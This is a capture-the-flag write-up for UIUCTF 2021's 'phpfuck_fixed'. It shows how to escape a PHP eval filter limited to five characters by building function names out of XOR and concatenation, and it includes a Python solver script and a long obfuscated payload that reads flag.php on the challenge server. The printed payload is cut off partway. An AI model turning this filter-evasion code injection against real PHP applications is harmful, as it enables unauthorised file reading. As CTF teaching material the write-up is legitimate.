phpfuck_fixed
Last updated
Was this helpful?
Last updated
Was this helpful?
i really really hate php...
phpfuck_fixed was a task from the UIUCTF 2021 that had the appearance of a classic jail challenge.
<?php
// Flag is inside ./flag.php :)
($x=str_replace("`","",strval($_REQUEST["x"])))&&strlen(count_chars($x,3))<=5?print(eval("return $x;")):show_source(__FILE__)&&phpinfo();The goal is clear: read the flag hidden inside flag.php. In order to achieve that, we can send a payload that will be evaluated, if and only if it uses up to only 5 distinct characters in total.
Doing a bit of research, we become aware there exists a tool, which, similarly to other tools of this kind (such as ), allows to convert any PHP script into a script that runs the same but with only 7 distinct characters.
At this point, there are two plausible options:
There's a way, in the challenge, to somehow bypass this restriction
The author actually wants us to push the concept of PHPfuck to the extreme :)
More research about such puzzles does not yield anything interesting; it seems like 7 characters really is the lowest amount of characters for which there exists a public proof of concept (at the moment of the CTF of course).
Likewise, we are unable to find any workaround to the count_chars condition. We're gonna need to get creative!
This challenge lived an entire day without a solve, which led the organizers to release a hint: (^.9).
From this hint, we understand the author's solution uses this charset (but there are probably other solutions... what's so special about 9 anyways? :^)).
I will present my solution which also uses this charset. Although I have seen other solutions that are much simpler, I think sharing my resolution approach is still interesting.
So what can we do with these characters: (^.9) ?
Parenthesis will obviously be used for function calling; there's no other way we would achieve it without them.
^ is the XOR operator, and . the concatenation operator, which can also be used for defining floating numbers.
Let's perform some tests to assess what we can easily reach with the suggested charset.
9, 99, 999...: integers with "9".
.9, 9.9, 9.99: floats with "9", including "0.9".
999999999999999999... (with enough nines): "1.0E+1500" (for instance) – scientific notation for large floats.
999999999999999999... (with even more nines): "INF" (float).
We can use . to cast these into strings:
(9).(9): string "99"
(9999999999999...).(9): string "INF9"
(.9).(9): string "0.99"
However, we notice we are not able yet to generate a string of length 1.
What about XOR? We can basically perform two kinds of operations:
XOR between integers: 9^99 yields 106.
XOR between strings: ((9).(9))^((9).(9)) yields "\x00\x00" (two null bytes).
Newly generated numbers can be XORed again or cast into strings, etc.
We start noticing something very annoying: since in PHP, XORing two strings results in a string of length minimum of the length of these two strings (null-byte padding), we will never be able to generate a string of length 1 with XOR without already having one.
So either we find a way to easily get a length-1 string (I couldn't find one), or we will have to start generating payloads using strings of length 2 or more.
With this in mind, I gathered a few primitive expressions and started coding.
My first goal was to generate the largest amount of length-2 strings that I could using my primitive expressions.
primitives = {
(0, 0): "(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))",
(0x09, 0x17): "((.9).(9)^(9).(9))",
(0x30, 0x2e): "(.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))",
(0x39, 0x2e): "(9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))",
(0x39, 0x39): "((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))",
(0x39, 0x30): "((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))",
(0x35, 0x37): "((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))",
(0x31, 0x2e): "((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))",
(73, 78): "((9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))",
(0x39, 0x39): "((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))",
(0x39, 0x30): "((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))",
(0x39, 0x00): "(9).(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))",
}
primitives_int = {
9: "9",
99: "99",
}The idea is to keep track of:
a set of the length-2 strings I am able to generate;
a set of the integers I am able to generate.
Then at each iteration, I try to generate new elements (length-2 strings or integers) using my two sets, using XORs and string casting.
Once I am unable to generate any new element anymore, the search stops and I have a list of all the length-2 strings I can reach.
My full code will be included at the end of the write-up. Caution: it's not very pretty.
As I did not have enough primitives, I could not reach every pair of bytes (not even every pair of printable ASCII characters), but I had enough to start crafting interesting payloads.
Thanksfully, PHP is lax enough to allow calling functions in a case-insensitive fashion (such as fIle_gEt_CoNTENtS()).
My final goal was to call readfile("flag.php"). Luckily, I was able to generate the string reAdFiLe with my pairs.
However, the hardest part is to generate a string for flag.php, since it is case sensitive.
I didn't manage to generate enough pairs to reach the string flag.php, so I decided to try to generate length-1 strings instead.
Indeed, once we know how to generate a length-1 string, we instantly have an arbitrary string primitive (char by char).
There are many ways to do it; mine was to use the trim function. I knew how to generate the pairs tr, Im and "> " (ends with a space). By calling trIm("> "), trim gets rid of the space and we get the string ">" of length 1.
We can then generate a length-1 null byte string:
trim = conv_string_even("trIm")
truc = conv_string_even("> ")
one_byte = trim + "(" + truc + ")"
null_byte = one_byte + "^" + one_byteAt this point, I wanted to find a quick way to finish the challenge without too much pain.
Therefore, I didn't go to the extent of trying to get an "arbitrary PHP script execution", like the original PHPfuck tool can do, although it is clearly doable.
Instead, I just wanted to generate the flag.php string to call readfile and get the flag.
However, I didn't have enough primitives from the start, so there were a few chars that I had struggle generating, such as the "." (or maybe there's a flaw in my algorithm?).
My final payload is thus slightly more convoluted:
strtolower = conv_string_even("strtOlOwEr")
readfile = conv_string_even("reAdFiLe")
payload = (
readfile+"(" +
strtolower + "(" +
conv_string_even("FlAg") + "." +
"(" + trim + "(" + conv_string_even("\t.") + "))" + "." +
conv_string_even("ph") + "." +
conv_string("p")
+ ")"
+ ")"
)conv_string_even is the original conversion function that works on pairs of characters. conv_string looks for a position-0 character in the pairs I know how to generate and uses XOR with the length-1 null byte to cut the pair.
The final payload is 36374 bytes. This is way too big to be passed through a GET parameter. Thanksfully, the challenge uses $_REQUEST, which means we can send our payload through POST and get the flag!
<?php /* uiuctf{pl3as3_n0_m0rE_pHpee_9f4e3058} */ ?>
No flag for you!
70Here's the full script along with the final payload, for your eyes only:
import requests
primitives = {
(0, 0): "(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))",
(0x09, 0x17): "((.9).(9)^(9).(9))",
(0x30, 0x2e): "(.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))",
(0x39, 0x2e): "(9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))",
(0x39, 0x39): "((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))",
(0x39, 0x30): "((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))",
(0x35, 0x37): "((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))",
(0x31, 0x2e): "((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))",
(73, 78): "((9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))",
(0x39, 0x39): "((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))",
(0x39, 0x30): "((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))",
(0x39, 0x00): "(9).(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))",
}
primitives_int = {
9: "9",
99: "99",
}
I = set(primitives.keys())
K = set(primitives_int.keys())
D = {}
D_int = {}
while True:
old_len = len(I)
old_len2 = len(K)
J = set(I)
L = set(K)
for p, q in I:
for r, s in I:
t = (p ^ r, q ^ s)
if t not in J:
print(
f"(0x{p:02x}, 0x{q:02x}) ^ (0x{r:02x}, 0x{s:02x}) = (0x{t[0]:02x}, 0x{t[1]:02x})")
J.add(t)
D[t] = ((p, q), (r, s))
if t[0] in range(0x31, 0x3a) and t[1] in range(0x30, 0x3a):
n = 10 * (t[0] - 0x30) + (t[1] - 0x30)
if n not in K:
K.add(n)
D_int[n] = ((p, q), (r, s), "string")
L = set(K)
for p, q in I:
for c in K:
c_ = str(c)
if len(c_) < 2:
continue
r, s = ord(c_[0]), ord(c_[1])
t = (p ^ r, q ^ s)
if t not in J:
print(
f"(0x{p:02x}, 0x{q:02x}) ^ (0x{r:02x}, 0x{s:02x}) = (0x{t[0]:02x}, 0x{t[1]:02x})")
J.add(t)
D[t] = ((p, q), (r, s), "int") # tag (r, s) as int
L = set(K)
for a in K:
for b in K:
c = a ^ b
if c not in L:
print(f"{a} ^ {b} = {c} -> '{str(c)[:2]}'")
L.add(c)
D_int[c] = (a, b)
if len(J) == old_len and len(L) == old_len2:
break
I = set(J)
K = set(L)
J = list(J)
J.sort()
J = J[::-1]
print('\n'.join(repr(bytes(x)) for x in J))
print(', '.join(str(x) for x in L))
print()
def flatten(term, type="string"):
if term not in D.keys() and type == "string":
return primitives[term]
if term not in D_int.keys() and type == "int":
return primitives_int[term]
if type == "string":
Q_is_int = False
if len(D[term]) == 3 and D[term][2] == "int":
Q_is_int = True
P, Q = D[term][:2]
P_ = flatten(P)
if Q_is_int:
Q_ = flatten(10 * (Q[0] - 0x30) + (Q[1] - 0x30), type="int")
else:
Q_ = flatten(Q)
if P_ is None:
P_ = repr(P)
if Q_ is None:
Q_ = repr(Q)
return f"({P_})^(({Q_}).(.9))"
if type == "int":
are_strings = False
if len(D_int[term]) == 3 and D_int[term][2] == "string":
are_strings = True
P, Q = D_int[term][:2]
P_ = flatten(P, type=("string" if are_strings else "int"))
Q_ = flatten(Q, type=("string" if are_strings else "int"))
xor_0 = "" if are_strings else "^(9^9)"
return f"({P_}{xor_0})^({Q_}{xor_0})"
def conv_string_even(s):
assert len(s) % 2 == 0
out = ""
for i in range(0, len(s), 2):
pair = (ord(s[i]), ord(s[i + 1]))
out += "(" + flatten(pair) + ")" + "."
return "("+out[:-1]+")"
trim = conv_string_even("trIm")
truc = conv_string_even("> ")
one_byte = trim + "(" + truc + ")"
null_byte = one_byte + "^" + one_byte
# exec = conv_string_even("ExEc")
strtolower = conv_string_even("strtOlOwEr")
readfile = conv_string_even("reAdFiLe")
def conv_string(s):
global null_byte
out = ""
for char in s:
found = False
for pair in D.keys():
if pair[0] == ord(char):
found = True
break
if not found:
print(f"Could not find {ord(char)} :(")
return
out += flatten(pair) + "^" + null_byte + "."
return "(" + out[:-1] + ")"
payload = (
readfile+"(" +
strtolower + "(" +
conv_string_even("FlAg") + "." +
"(" + trim + "(" + conv_string_even("\t.") + "))" + "." +
conv_string_even("ph") + "." +
conv_string("p")
+ ")"
+ ")"
)
print(payload)
assert len(set(payload)) <= 5
print(len(payload))
url = "http://phpfuck-fixed.chal.uiuc.tf/"
r = requests.post(url, data={"x": payload}).text
print(r)
"""
((((((9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9))).(.9)))^((((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))^((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))).(.9))).(((((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))).(.9)))^((((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))^(99^(9^9))).(.9)))^((((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))).(.9)))^((((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((((9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((9).(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9))).(.9)))^(((((((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))).(.9)))^((((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))^(99^(9^9))).(.9)))^((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^((((.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9))).(.9)))^(9^9))^(((((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))).(.9)))^(9^9))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))^(99^(9^9))^(9^9))^(9^9))^(9^9))^(((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^((((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))^((((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))).(.9)))^(9^9))).(.9)))^(((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^((((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))).(.9)))^(9^9))).(.9))).(.9))).(((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((((9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((9).(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9))).(.9)))^((((9^(9^9))^(99^(9^9))^(9^9))^((((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))).(.9)))^(9^9))).(.9))).(((((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((9).(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9))).(.9)))^((((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))).(.9)))^(((((((9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))).(.9)))^(((((((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))).(.9)))^((((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))^(99^(9^9))).(.9)))^((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^((((.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9))).(.9)))^(9^9))^(((((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))).(.9)))^(9^9))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))^(99^(9^9))^(9^9))^(9^9))^(9^9))^(((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^((((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))^((((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))).(.9)))^(9^9))).(.9)))^(((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^((((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))).(.9)))^(9^9))).(.9))).(.9))))(((((((9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))).(.9))).(.9)))^((((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))).(.9))).(((((9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9))).(.9)))^((((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))).(.9))).((((((9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))^(9^(9^9))^(9^9))^((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))).(.9)))^((((((.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((9).(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))).(.9)))^(((((((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))).(.9)))^(9^9))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))^(99^(9^9))^(9^9))^(9^9))^(((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))^((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))^(9^9))).(.9))).(.9))).((((((9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((9).(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9))).(.9)))^((((9^(9^9))^(99^(9^9))^(9^9))^((((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))).(.9)))^(9^9))).(.9))).(((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9))).(.9)))^(((((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((((9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((9).(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9))).(.9)))^(((((((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9